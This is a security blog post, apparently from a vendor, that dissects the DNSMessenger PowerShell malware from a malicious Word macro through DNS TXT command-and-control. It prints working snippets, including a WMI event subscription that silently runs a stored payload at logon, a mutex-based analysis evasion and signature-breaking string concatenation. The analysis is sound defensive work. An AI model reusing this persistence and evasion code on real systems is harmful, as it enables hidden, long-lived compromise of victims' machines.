DNSMessenger PowerShell Malware Analysis

In this blog post I’ll cover some interesting insights extracted by analysing the DNSMessenger malware. I’ll go through the results of my analysis and talk about the methods I used and thought processes at each step.

Extracting the Source Code

This malware was spotted in a malicious Word document with this SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981. To extract the VBA source code from the macro I used oletools. After installing oletools, I simply ran the command olevba <filepath> to reveal the macro.

Layer-1 – VB and Embedded PowerShell

Right off the bat there are several things the attacker does to make the script difficult to unravel. The author embeds a lot of newline spacing, widely spreading apart contents to make important code harder to spot. After revealing the macro with oletools, you’ll probably have to do a lot of scrolling to read the whole script. Even worse, if your terminal has a limited scrollback buffer, part of the script would be hidden.

You’ll also notice that the author uses gratuitous string concatenation to break simple string signatures. This helps the attacker evade static analysis tools which look for strings like "winmgmts:\\.\root\cimv2" and may be thrown off by something like:

"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\\" & "." & "\r" & "" & "oot\c" & "" & "imv" & "" & "2"

There’s also a large Base64 string contained in a variable named lStr wrapped by a PowerShell command which decodes the string.

lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL+7l+hol ... many many more lines ...

Here is a partial snapshot of lStr:

Let’s decode it and dive further.

Unraveling the Base64

Below is a simple Python3 script I use to decode the Base64 blob mentioned earlier.

import base64
import sys
with open(sys.argv[1]) as f:

    encoded = f.read()

After decoding, you’ll notice that the resulting contents are still unreadable. We can tell through a few ways that the contents are in GZIP format. Most obviously, the VB string stored in lStr has a command to decompress the decoded contents using a System.IO.Compression.GZipStream object. Another way we can identify this as a GZIP file is through its magic number, the beginning file signature (1F8B). We can also use the file <filepath> command on a Unix machine to determine the file type.

Now, we’ll decompress the contents using gunzip <filepath> which creates a decompressed file with the same name. Opening the decompressed file will reveal obfuscated PowerShell code (Layer 2). After a bit of cleanup and refactoring, some interesting details of the script’s behavior become more apparent.

Layer 2 – Base64 Decoded and Decompressed PowerShell

Scrolling through the decompressed script, you’ll find another Base64 blob which acts as the next stage’s payload.  I name it layer-3 payload.

Storing the Payload

If the victim has PowerShell 3.0 or later, the script stores the encoded layer 3 payload inside an alternate data stream named kernel32.dll at %PROGRAMDATA%\Windows\. ADSs are commonly abused by malware authors to write hidden data. You won’t be able to find the payload by simply navigating to the directory and listing its files. If the victim has an older version of PowerShell, the script adds a new property called Path to a key in the registry to store the payload. If the user has administrator privileges, the payload will be stored in HKLM:Software\Microsoft\Windows\CurrentVersion. Otherwise, it will be stored in HKCU:Software\Microsoft\Windows.

Registry Keys

The scripts creates an alternate data stream called kernel32.vbs at %PROGRAMDATA%\Windows\ and writes to it code which retrieves and executes the payload from wherever it was stored in the previous step.

The attacker modifies Run Registry Keys to execute kernel32.vbs after waiting 30 minutes each time a user logs on. If the user has administrator privileges, the targeted key is HKLM:Software\Microsoft\Windows\CurrentVersion\Run\. Otherwise, the targeted key is HKCU:Software\Microsoft\Windows\CurrentVersion\Run\.

Creation of a New WMI Object

If the user has administrator privileges, the script creates a permanent WMI event subscription that watches for a user logon, waits 30 minutes, then executes the encoded payload. At this point, the program has exhibited enough malicious behavior for it to be detected by SentinelOne as malicious.

Here’s how this looks in code. First it removes the existing subscriptions:

gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject

Then it creates its own subscription. The logic goes something like this if you’ve got PowerShell 3.0 or later:

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”}

$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""}
Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}

Scheduled Task

The script also creates a scheduled task to run the malware 30 minutes after a user logs on. The method used to start the malware differs only slightly depending on if the user has administrator privileges. If the user is a non-admin, wscript is used to execute the contents of kernel32.vbs. Otherwise, an Invoke-Expression cmdlet is used.

Layer 3 – DNS Lookups

Now that we’ve discussed the various ways the attacker achieves persistence of the malware, let’s find out what this next encoded payload is responsible for.

After Base64 decoding and a little manual deobfuscation, you’ll notice this bit of code at the start of the function logic, which contains a lot of other code after this if-block.

[bool]$flag = $false;
$mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag);
if (!$flag) { exit; }

At first glance, it may seem as if the malicious code after this if-block should never execute. A static analysis tool or a weak dynamic analysis system may fail to realize that $flag magically becomes true because of the semantics of constructing System.Threading.Mutex. Judging from the cheeky jab at Source Fire, it could be this specific evasion technique was added to deter Source Fire analysis.

It’s apparent that the code repeatedly queries for DNS text records using the nslookup command. Responses from these queries dictate behavior of the program:

  • "idle" would cause the process to sleep between 3500 and 5400 seconds before continuing
  • "stop" would prompt the process to exit
  • continue
  • execute the query response using Invoke-Expression

Since these domains are no longer active, we’ll have to rely on previous analysis by Edmund Brumaghin and Colin Grady at Talos who did the original analysis.

Layer 4 – Command-and-Control Communication

Yet another payload is sent in response to the DNS text query. It includes a gzipped and Base64 encoded string along with a call to the dec function in layer 3 to unravel it. The result is passed to the Invoke-Expression cmdlet to be executed. According to Talos’s analysis, this payload redirects STDINSTDOUT, and STDERR so the attacker can read from and write to the command line processor. The payload performs more DNS lookups and establishes a communication channel with a command and control server. From here, the attacker can send commands to be executed on the victim machine’s command line interpreter and receive the results of those commands, all through DNS txt queries and responses.


We just walked through an older but interesting piece of malware. We dissected it to 4 different layers and described the properties of each of them. Specifically we reviewed the obfuscation employed by this malware and different ways it uses for achieving persistence.  I hope you learned a thing or two! Thanks for reading!

Read more about Windows Security

“ALL YOUR FILES ARE ENCRYPTED” – Unless set to Russian Locale

New Windows 10 File Type Can Be Abused for Running Malicious Applications

Hancitor Banking Trojan is Back | Using Malicious Word Attachment

SentinelOne Detects and Blocks New Variant of Powershell CryptoWorm